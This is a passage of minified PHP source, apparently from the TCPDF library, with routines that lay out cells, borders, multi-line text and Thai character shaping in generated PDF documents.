adding;$this->cell_margin=$prev_cell_margin;} function getCellCode($w,$h=0,$txt='',$border=0,$ln=0,$align='',$fill=false,$link='',$stretch=0,$ignore_min_height=false,$calign='T',$valign='M'){$txt=str_replace(TCPDF_FONTS::unichr(160,$this->isunicode),' ',$txt);$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$txt=TCPDF_STATIC::removeSHY($txt,$this->isunicode);$rs='';$this->adjustCellPadding($border);if(!$ignore_min_height){$min_cell_height=$this->getCellHeight($this->FontSize);if($h<$min_cell_height){$h=$min_cell_height;}}$k=$this->k;list($this->x,$this->y)=$this->checkPageRegions($h,$this->x,$this->y);if($this->rtl){$x=$this->x-$this->cell_margin['R'];}else {$x=$this->x+$this->cell_margin['L'];}$y=$this->y+$this->cell_margin['T'];$prev_font_stretching=$this->font_stretching;$prev_font_spacing=$this->font_spacing;switch($calign){case 'A':{switch($valign){case 'T':{$y-=$this->cell_padding['T'];break;}case 'B':{$y-=($h-$this->cell_padding['B']-$this->FontAscent-$this->FontDescent);break;}default:case 'C':case 'M':{$y-=(($h-$this->FontAscent-$this->FontDescent)/2);break;}}break;}case 'L':{switch($valign){case 'T':{$y-=($this->cell_padding['T']+$this->FontAscent);break;}case 'B':{$y-=($h-$this->cell_padding['B']-$this->FontDescent);break;}default:case 'C':case 'M':{$y-=(($h+$this->FontAscent-$this->FontDescent)/2);break;}}break;}case 'D':{switch($valign){case 'T':{$y-=($this->cell_padding['T']+$this->FontAscent+$this->FontDescent);break;}case 'B':{$y-=($h-$this->cell_padding['B']);break;}default:case 'C':case 'M':{$y-=(($h+$this->FontAscent+$this->FontDescent)/2);break;}}break;}case 'B':{$y-=$h;break;}case 'C':case 'M':{$y-=($h/2);break;}default:case 'T':{break;}}switch($valign){case 'T':{$yt=$y+$this->cell_padding['T'];break;}case 'B':{$yt=$y+$h-$this->cell_padding['B']-$this->FontAscent-$this->FontDescent;break;}default:case 'C':case 'M':{$yt=$y+(($h-$this->FontAscent-$this->FontDescent)/2);break;}}$basefonty=$yt+$this->FontAscent;if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=$x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$x;}}$s='';if(is_string($border) AND (strlen($border)==4)){$border=1;}if($fill OR ($border==1)){if($fill){$op=($border==1)?'B':'f';}else {$op='S';}if($this->rtl){$xk=(($x-$w)*$k);}else {$xk=($x*$k);}$s.=sprintf('%F %F %F %F re %s ',$xk,(($this->h-$y)*$k),($w*$k),(-$h*$k),$op);}$s.=$this->getCellBorder($x,$y,$w,$h,$border);if($txt!=''){$txt2=$txt;if($this->isunicode){if(($this->CurrentFont['type']=='core') OR ($this->CurrentFont['type']=='TrueType') OR ($this->CurrentFont['type']=='Type1')){$txt2=TCPDF_FONTS::UTF8ToLatin1($txt2,$this->isunicode,$this->CurrentFont);}else {$unicode=TCPDF_FONTS::UTF8StringToArray($txt,$this->isunicode,$this->CurrentFont);$unicode=TCPDF_FONTS::utf8Bidi($unicode,'',$this->tmprtl,$this->isunicode,$this->CurrentFont);if(defined('K_THAI_TOPCHARS') AND (K_THAI_TOPCHARS==true)){$numchars=count($unicode);$longtail=array(0x0e1b,0x0e1d,0x0e1f);$lowtail=array(0x0e0e,0x0e0f);$upvowel=array(0x0e31,0x0e34,0x0e35,0x0e36,0x0e37);$tonemark=array(0x0e48,0x0e49,0x0e4a,0x0e4b,0x0e4c);$lowvowel=array(0x0e38,0x0e39,0x0e3a);$output=array();for($i=0;$i<$numchars;$i++){if(($unicode[$i]>=0x0e00)&&($unicode[$i]<=0x0e5b)){$ch0=$unicode[$i];$ch1=($i>0)?$unicode[($i-1)]:0;$ch2=($i>1)?$unicode[($i-2)]:0;$chn=($i<($numchars-1))?$unicode[($i+1)]:0;if(in_array($ch0,$tonemark)){if($chn==0x0e33){if(in_array($ch1,$longtail)){$output[]=$this->replaceChar($ch0,(0xf713+$ch0-0x0e48));}else {$output[]=$ch0;}}elseif(in_array($ch1,$longtail) OR (in_array($ch2,$longtail) AND in_array($ch1,$lowvowel))){$output[]=$this->replaceChar($ch0,(0xf705+$ch0-0x0e48));}elseif(in_array($ch1,$upvowel)){if(in_array($ch2,$longtail)){$output[]=$this->replaceChar($ch0,(0xf713+$ch0-0x0e48));}else {$output[]=$ch0;}}else {$output[]=$this->replaceChar($ch0,(0xf70a+$ch0-0x0e48));}}elseif(($ch0==0x0e33) AND (in_array($ch1,$longtail) OR (in_array($ch2,$longtail) AND in_array($ch1,$tonemark)))){if($this->isCharDefined(0xf711) AND $this->isCharDefined(0x0e32)){$output[]=0xf711;$this->CurrentFont['subsetchars'][0xf711]=true;$output[]=0x0e32;$this->CurrentFont['subsetchars'][0x0e32]=true;}else {$output[]=$ch0;}}elseif(in_array($ch1,$longtail)){if($ch0==0x0e31){$output[]=$this->replaceChar($ch0,0xf710);}elseif(in_array($ch0,$upvowel)){$output[]=$this->replaceChar($ch0,(0xf701+$ch0-0x0e34));}elseif($ch0==0x0e47){$output[]=$this->replaceChar($ch0,0xf712);}else {$output[]=$ch0;}}elseif(in_array($ch1,$lowtail) AND in_array($ch0,$lowvowel)){$output[]=$this->replaceChar($ch0,(0xf718+$ch0-0x0e38));}elseif(($ch0==0x0e0d) AND in_array($chn,$lowvowel)){$output[]=$this->replaceChar($ch0,0xf70f);}elseif(($ch0==0x0e10) AND in_array($chn,$lowvowel)){$output[]=$this->replaceChar($ch0,0xf700);}else {$output[]=$ch0;}}else {$output[]=$unicode[$i];}}$unicode=$output;$this->setFontSubBuffer($this->CurrentFont['fontkey'],'subsetchars',$this->CurrentFont['subsetchars']);}$txt2=TCPDF_FONTS::arrUTF8ToUTF16BE($unicode,false);}}$txt2=TCPDF_STATIC::_escape($txt2);$txwidth=$this->GetStringWidth($txt);$width=$txwidth;if($stretch>0){if($width<=0){$ratio=1;}else {$ratio=(($w-$this->cell_padding['L']-$this->cell_padding['R'])/$width);}if(($ratio<1) OR (($ratio>1) AND (($stretch%2)==0))){if($stretch>2){$this->font_spacing+=($w-$this->cell_padding['L']-$this->cell_padding['R']-$width)/(max(($this->GetNumChars($txt)-1),1)*($this->font_stretching/100));}else {$this->font_stretching*=$ratio;}$width=$w-$this->cell_padding['L']-$this->cell_padding['R'];$align='';}}if($this->font_stretching!=100){$rs.=sprintf('BT %F Tz ET ',$this->font_stretching);}if($this->font_spacing!=0){$rs.=sprintf('BT %F Tc ET ',($this->font_spacing*$this->k));}if($this->ColorFlag AND ($this->textrendermode<4)){$s.='q '.$this->TextColor.' ';}$s.=sprintf('BT %d Tr %F w ET ',$this->textrendermode,($this->textstrokewidth*$this->k));$ns=substr_count($txt,chr(32));$spacewidth=0;if(($align=='J') AND ($ns>0)){if($this->isUnicodeFont()){$width=$this->GetStringWidth(str_replace(' ','',$txt));$spacewidth=-1000*($w-$width-$this->cell_padding['L']-$this->cell_padding['R'])/($ns?$ns:1)/($this->FontSize?$this->FontSize:1);if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$txt2=str_replace(chr(0).chr(32),') '.sprintf('%F',$spacewidth).' (',$txt2);$unicode_justification=true;}else {$width=$txwidth;$spacewidth=(($w-$width-$this->cell_padding['L']-$this->cell_padding['R'])/($ns?$ns:1))*$this->k;if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$rs.=sprintf('BT %F Tw ET ',$spacewidth);}$width=$w-$this->cell_padding['L']-$this->cell_padding['R'];}$txt2=str_replace("
",' ',$txt2);switch($align){case 'C':{$dx=($w-$width)/2;break;}case 'R':{if($this->rtl){$dx=$this->cell_padding['R'];}else {$dx=$w-$width-$this->cell_padding['R'];}break;}case 'L':{if($this->rtl){$dx=$w-$width-$this->cell_padding['L'];}else {$dx=$this->cell_padding['L'];}break;}case 'J':default:{if($this->rtl){$dx=$this->cell_padding['R'];}else {$dx=$this->cell_padding['L'];}break;}}if($this->rtl){$xdx=$x-$dx-$width;}else {$xdx=$x+$dx;}$xdk=$xdx*$k;$s.=sprintf('BT %F %F Td [(%s)] TJ ET',$xdk,(($this->h-$basefonty)*$k),$txt2);if(isset($uniblock)){$xshift=0;$ty=(($this->h-$basefonty+(0.2*$this->FontSize))*$k);$spw=(($w-$txwidth-$this->cell_padding['L']-$this->cell_padding['R'])/($ns?$ns:1));foreach($uniblock as $uk=>$uniarr){if(($uk%2)==0){if($spacewidth!=0){$xshift+=(count(array_keys($uniarr,32))*$spw);}$xshift+=$this->GetArrStringWidth($uniarr);}else {$topchr=TCPDF_FONTS::arrUTF8ToUTF16BE($uniarr,false);$topchr=TCPDF_STATIC::_escape($topchr);$s.=sprintf(' BT %F %F Td [(%s)] TJ ET',($xdk+($xshift*$k)),$ty,$topchr);}}}if($this->underline){$s.=' '.$this->_dounderlinew($xdx,$basefonty,$width);}if($this->linethrough){$s.=' '.$this->_dolinethroughw($xdx,$basefonty,$width);}if($this->overline){$s.=' '.$this->_dooverlinew($xdx,$basefonty,$width);}if($this->ColorFlag AND ($this->textrendermode<4)){$s.=' Q';}if($link){$this->Link($xdx,$yt,$width,($this->FontAscent+$this->FontDescent),$link,$ns);}}if($s){$rs.=$s;if($this->font_spacing!=0){$rs.=' BT 0 Tc ET';}if($this->font_stretching!=100){$rs.=' BT 100 Tz ET';}}if(!$this->isUnicodeFont() AND ($align=='J')){$rs.=' BT 0 Tw ET';}$this->font_stretching=$prev_font_stretching;$this->font_spacing=$prev_font_spacing;$this->lasth=$h;if($ln>0){$this->y=$y+$h+$this->cell_margin['B'];if($ln==1){if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}}}else {if($this->rtl){$this->x=$x-$w-$this->cell_margin['L'];}else {$this->x=$x+$w+$this->cell_margin['R'];}}$gstyles=''.$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '.$this->FillColor."
";$rs=$gstyles.$rs;$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;return $rs;} function replaceChar($oldchar,$newchar){if($this->isCharDefined($newchar)){$this->CurrentFont['subsetchars'][$newchar]=true;return $newchar;}return $oldchar;} function getCellBorder($x,$y,$w,$h,$brd){$s='';if(empty($brd)){return $s;}if($brd==1){$brd=array('LRTB'=>true);}$k=$this->k;if($this->rtl){$xeL=($x-$w)*$k;$xeR=$x*$k;}else {$xeL=$x*$k;$xeR=($x+$w)*$k;}$yeL=(($this->h-($y+$h))*$k);$yeT=(($this->h-$y)*$k);$xeT=$xeL;$xeB=$xeR;$yeR=$yeT;$yeB=$yeL;if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=array('cap'=>'square','join'=>'miter');}$brd=$newbrd;}if(isset($brd['mode'])){$mode=$brd['mode'];unset($brd['mode']);}else {$mode='normal';}foreach($brd as $border=>$style){if(is_array($style) AND !empty($style)){$prev_style=$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' ';$s.=$this->SetLineStyle($style,true)."
";}switch($mode){case 'ext':{$off=(($this->LineWidth/2)*$k);$xL=$xeL-$off;$xR=$xeR+$off;$yT=$yeT+$off;$yL=$yeL-$off;$xT=$xL;$xB=$xR;$yR=$yT;$yB=$yL;$w+=$this->LineWidth;$h+=$this->LineWidth;break;}case 'int':{$off=($this->LineWidth/2)*$k;$xL=$xeL+$off;$xR=$xeR-$off;$yT=$yeT-$off;$yL=$yeL+$off;$xT=$xL;$xB=$xR;$yR=$yT;$yB=$yL;$w-=$this->LineWidth;$h-=$this->LineWidth;break;}case 'normal':default:{$xL=$xeL;$xT=$xeT;$xB=$xeB;$xR=$xeR;$yL=$yeL;$yT=$yeT;$yB=$yeB;$yR=$yeR;break;}}if(strlen($border)==4){$s.=sprintf('%F %F %F %F re S ',$xT,$yT,($w*$k),(-$h*$k));}elseif(strlen($border)==3){if(strpos($border,'B')===false){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif(strpos($border,'L')===false){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}elseif(strpos($border,'T')===false){$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';}elseif(strpos($border,'R')===false){$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';}}elseif(strlen($border)==2){if((strpos($border,'L')!==false) AND (strpos($border,'T')!==false)){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';}elseif((strpos($border,'T')!==false) AND (strpos($border,'R')!==false)){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif((strpos($border,'R')!==false) AND (strpos($border,'B')!==false)){$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}elseif((strpos($border,'B')!==false) AND (strpos($border,'L')!==false)){$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';}elseif((strpos($border,'L')!==false) AND (strpos($border,'R')!==false)){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif((strpos($border,'T')!==false) AND (strpos($border,'B')!==false)){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}}else {if(strpos($border,'L')!==false){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';}elseif(strpos($border,'T')!==false){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';}elseif(strpos($border,'R')!==false){$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif(strpos($border,'B')!==false){$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}}if(is_array($style) AND !empty($style)){$s.="
".$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor."
";}}return $s;} function MultiCell($w,$h,$txt,$border=0,$align='J',$fill=false,$ln=1,$x='',$y='',$reseth=true,$stretch=0,$ishtml=false,$autopadding=true,$maxh=0,$valign='T',$fitcell=false){$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$this->adjustCellPadding($border);$mc_padding=$this->cell_padding;$mc_margin=$this->cell_margin;$this->cell_padding['T']=0;$this->cell_padding['B']=0;$this->setCellMargins(0,0,0,0);if(TCPDF_STATIC::empty_string($this->lasth) OR $reseth){$this->resetLastH();}if(!TCPDF_STATIC::empty_string($y)){$this->SetY($y);}else {$y=$this->GetY();}$resth=0;if(($h>0) AND $this->inPageBody() AND (($y+$h+$mc_margin['T']+$mc_margin['B'])>$this->PageBreakTrigger)){$newh=($this->PageBreakTrigger-$y);$resth=($h-$newh);$h=$newh;}$startpage=$this->page;$startcolumn=$this->current_column;if(!TCPDF_STATIC::empty_string($x)){$this->SetX($x);}else {$x=$this->GetX();}list($x,$y)=$this->checkPageRegions(0,$x,$y);$oy=$y+$mc_margin['T'];if($this->rtl){$ox=($this->w-$x-$mc_margin['R']);}else {$ox=($x+$mc_margin['L']);}$this->x=$ox;$this->y=$oy;if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=($this->x-$this->lMargin-$mc_margin['L']);}else {$w=($this->w-$this->x-$this->rMargin-$mc_margin['R']);}}$lMargin=$this->lMargin;$rMargin=$this->rMargin;if($this->rtl){$this->rMargin=($this->w-$this->x);$this->lMargin=($this->x-$w);}else {$this->lMargin=($this->x);$this->rMargin=($this->w-$this->x-$w);}$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;if($autopadding){$this->y+=$mc_padding['T'];}if($ishtml){$this->writeHTML($txt,true,false,$reseth,true,$align);$nl=1;}else {$prev_FontSizePt=$this->FontSizePt;if($fitcell){$tobottom=($this->h-$this->y-$this->bMargin-$this->cell_padding['T']-$this->cell_padding['B']);$h=$maxh=max(min($h,$tobottom),min($maxh,$tobottom));}if($maxh>0){$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);if($fitcell AND ($text_height>$maxh) AND ($this->FontSizePt>1)){$fmin=1;$fmax=$this->FontSizePt;$diff_epsilon=(1/$this->k);$maxit=(2*min(100,max(10,intval($fmax))));while($maxit>=0){$fmid=(($fmax+$fmin)/2);$this->SetFontSize($fmid,false);$this->resetLastH();$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);$diff=($maxh-$text_height);if($diff>=0){if($diff<=$diff_epsilon){break;}$fmin=$fmid;}else {$fmax=$fmid;}--$maxit;}if($maxit<0){$this->SetFontSize($fmin);$this->resetLastH();$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);}else {$this->SetFontSize($fmid);$this->resetLastH();}}if($text_height<$maxh){if($valign=='M'){$this->y+=(($maxh-$text_height)/2);}elseif($valign=='B'){$this->y+=($maxh-$text_height);}}}$nl=$this->Write($this->lasth,$txt,'',0,$align,true,$stretch,false,true,$maxh,0,$mc_margin);if($fitcell){$this->SetFontSize($prev_FontSizePt);}}if($autopadding){$this->y+=$mc_padding['B'];}$currentY=$this->y;$endpage=$this->page;if($resth>0){$skip=($endpage-$startpage);$tmpresth=$resth;while($tmpresth>0){if($skip<=0){$this->checkPageBreak($this->PageBreakTrigger+1);}if($this->num_columns>1){$tmpresth-=($this->h-$this->y-$this->bMargin);}else {$tmpresth-=($this->h-$this->tMargin-$this->bMargin);}--$skip;}$currentY=$this->y;$endpage=$this->page;}$endcolumn=$this->current_column;if($this->num_columns==0){$this->num_columns=1;}$check_page_regions=$this->check_page_regions;$this->check_page_regions=false;$border_start=TCPDF_STATIC::getBorderMode($border,$position='start',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position='end',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);for($page=$startpage;$page<=$endpage;++$page){$ccode='';$this->setPage($page);if($this->num_columns<2){$this->SetX($x);$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x-=($this->pagedim[$page]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$page]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$page]['olm']-$this->pagedim[$startpage]['olm']);}}if($startpage==$endpage){for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}if($startcolumn==$endcolumn){$cborder=$border;$h=max($h,($currentY-$oy));$this->y=$oy;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$oy;$h=$this->h-$this->y-$this->bMargin;}elseif($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;if($resth>$h){$h=$resth;}}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$startpage){for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}if($column==$startcolumn){$cborder=$border_start;$this->y=$oy;$h=$this->h-$this->y-$this->bMargin;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$endpage){for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}if($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;if($resth>$h){$h=$resth;}}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}else {for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}if($cborder OR $fill){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid]['transfmrk']);$pagemark=$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey];$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid]['intmrk'];$this->xobjects[$this->xobjid]['intmrk']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid]['outdata'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid]['outdata']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];$this->transfmrk[$this->page][$pagemarkkey]+=$offsetlen;}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];$this->footerpos[$this->page]+=$offsetlen;}else {$pagemark=$this->intmrk[$this->page];$this->intmrk[$this->page]+=$offsetlen;}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);}}}$this->check_page_regions=$check_page_regions;$currentY=$this->GetY();if($this->num_columns>1){$this->selectColumn();}else {$this->lMargin=$lMargin;$this->rMargin=$rMargin;if($this->page>$startpage){$dl=($this->pagedim[$this->page]['olm']-$this->pagedim[$startpage]['olm']);$dr=($this->pagedim[$this->page]['orm']-$this->pagedim[$startpage]['orm']);if(($dl!=0) OR ($dr!=0)){$this->lMargin+=$dl;$this->rMargin+=$dr;}}}if($ln>0){$this->SetY($currentY+$mc_margin['B']);if($ln==2){$this->SetX($x+$w+$mc_margin['L']+$mc_margin['R']);}}else {$this->setPage($startpage);$this->y=$y;$this->SetX($x+$w+$mc_margin['L']+$mc_margin['R']);}$this->setContentMark();$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;return $nl;} function getNumLines($txt,$w=0,$reseth=false,$autopadding=true,$cellpadding='',$border=0){if($txt===NULL){return 0;}if($txt===''){return 1;}$prev_cell_padding=$this->cell_padding;$prev_lasth=$this->lasth;if(is_array($cellpadding)){$this->cell_padding=$cellpadding;}$this->adjustCellPadding($border);if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}}$wmax=$w-$this->cell_padding['L']-$this->cell_padding['R'];if($reseth){$this->resetLastH();}$lines=1;$sum=0;$chars=TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($txt,$this->isunicode,$this->CurrentFont),$txt,$this->tmprtl,$this->isunicode,$this->CurrentFont);$charsWidth=$this->GetArrStringWidth($chars,'','',0,true);$length=count($chars);$lastSeparator=-1;for($i=0;$i<$length;++$i){$c=$chars[$i];$charWidth=$charsWidth[$i];if(($c!=160) AND (($c==173) OR preg_match($this->re_spaces,TCPDF_FONTS::unichr($c,$this->isunicode)) OR (($c==45) AND ($i>0) AND ($i<($length-1)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($chars[($i-1)],$this->isunicode)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($chars[($i+1)],$this->isunicode))))){$lastSeparator=$i;}if((($sum+$charWidth)>$wmax) OR ($c==10)){++$lines;if($c==10){$lastSeparator=-1;$sum=0;}elseif($lastSeparator!=-1){$i=$lastSeparator;$lastSeparator=-1;$sum=0;}else {$sum=$charWidth;}}else {$sum+=$charWidth;}}if($chars[($length-1)]==10){--$lines;}$this->cell_padding=$prev_cell_padding;$this->lasth=$prev_lasth;return $lines;} function getStringHeight($w,$txt,$reseth=false,$autopadding=true,$cellpadding='',$border=0){$prev_cell_padding=$this->cell_padding;$prev_lasth=$this->lasth;if(is_array($cellpadding)){$this->cell_padding=$cellpadding;}$this->adjustCellPadding($border);$lines=$this->getNumLines($txt,$w,$reseth,$autopadding,$cellpadding,$border);$height=$this->getCellHeight(($lines*$this->FontSize),$autopadding);$this->cell_padding=$prev_cell_padding;$this->lasth=$prev_lasth;return $height;} function Write($h,$txt,$link='',$fill=false,$align='',$ln=false,$stretch=0,$firstline=false,$firstblock=false,$maxh=0,$wadj=0,$margin=''){list($this->x,$this->y)=$this->checkPageRegions($h,$this->x,$this->y);if(strlen($txt)==0){$txt=' ';}if($margin===''){$margin=$this->cell_margin;}$s=str_replace("
",'',$txt);$arabic=false;$rtlmode=false;$chrwidth=$this->GetCharWidth(46);$chars=TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont);$chrw=$this->GetArrStringWidth($chars,'','',0,true);array_walk($chrw,array($this,'getRawCharWidth'));$maxchwidth=max($chrw);$uchars=TCPDF_FONTS::UTF8ArrayToUniArray($chars,$this->isunicode);$nb=count($chars);$shy_replacement=45;$shy_replacement_char=TCPDF_FONTS::unichr($shy_replacement,$this->isunicode);$shy_replacement_width=$this->GetCharWidth($shy_replacement);$pw=$w=$this->w-$this->lMargin-$this->rMargin;if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}$wmax=($w-$wadj);if(!$firstline){$wmax-=($this->cell_padding['L']+$this->cell_padding['R']);}if((!$firstline) AND (($chrwidth>$wmax) OR ($maxchwidth>$wmax))){return '';}$row_height=max($h,$this->getCellHeight($this->FontSize));$maxy=$this->y+$maxh-max($row_height,$h);$start_page=$this->page;$i=0;$j=0;$sep=-1;$prevsep=$sep;$shy=false;$prevshy=$shy;$l=0;$nl=0;$linebreak=false;$pc=0;while($i<$nb){if(($maxh>0) AND ($this->y>$maxy)){break;}$c=$chars[$i];if($c==10){if($align=='J'){if($this->rtl){$talign='R';}else {$talign='L';}}else {$talign=$align;}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}if(!empty($tmpstr) OR ($this->y<($this->PageBreakTrigger-$row_height))){$this->Cell($w,$h,$tmpstr,0,1,$talign,$fill,$link,$stretch);}unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}++$nl;$j=$i+1;$l=0;$sep=-1;$prevsep=$sep;$shy=false;if((($this->y+$this->lasth)>$this->PageBreakTrigger) AND ($this->inPageBody())){$this->AcceptPageBreak();if($this->rtl){$this->x-=$margin['R'];}else {$this->x+=$margin['L'];}$this->lMargin+=$margin['L'];$this->rMargin+=$margin['R'];}$w=$this->getRemainingWidth();$wmax=($w-$this->cell_padding['L']-$this->cell_padding['R']);}else {if(($c!=160) AND (($c==173) OR preg_match($this->re_spaces,TCPDF_FONTS::unichr($c,$this->isunicode)) OR (($c==45) AND ($i<($nb-1)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($pc,$this->isunicode)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($chars[($i+1)],$this->isunicode))))){$prevsep=$sep;$sep=$i;if(($c==173) OR ($c==45)){$prevshy=$shy;$shy=true;if($pc==45){$tmp_shy_replacement_width=0;$tmp_shy_replacement_char='';}else {$tmp_shy_replacement_width=$shy_replacement_width;$tmp_shy_replacement_char=$shy_replacement_char;}}else {$shy=false;}}if($this->isUnicodeFont() AND 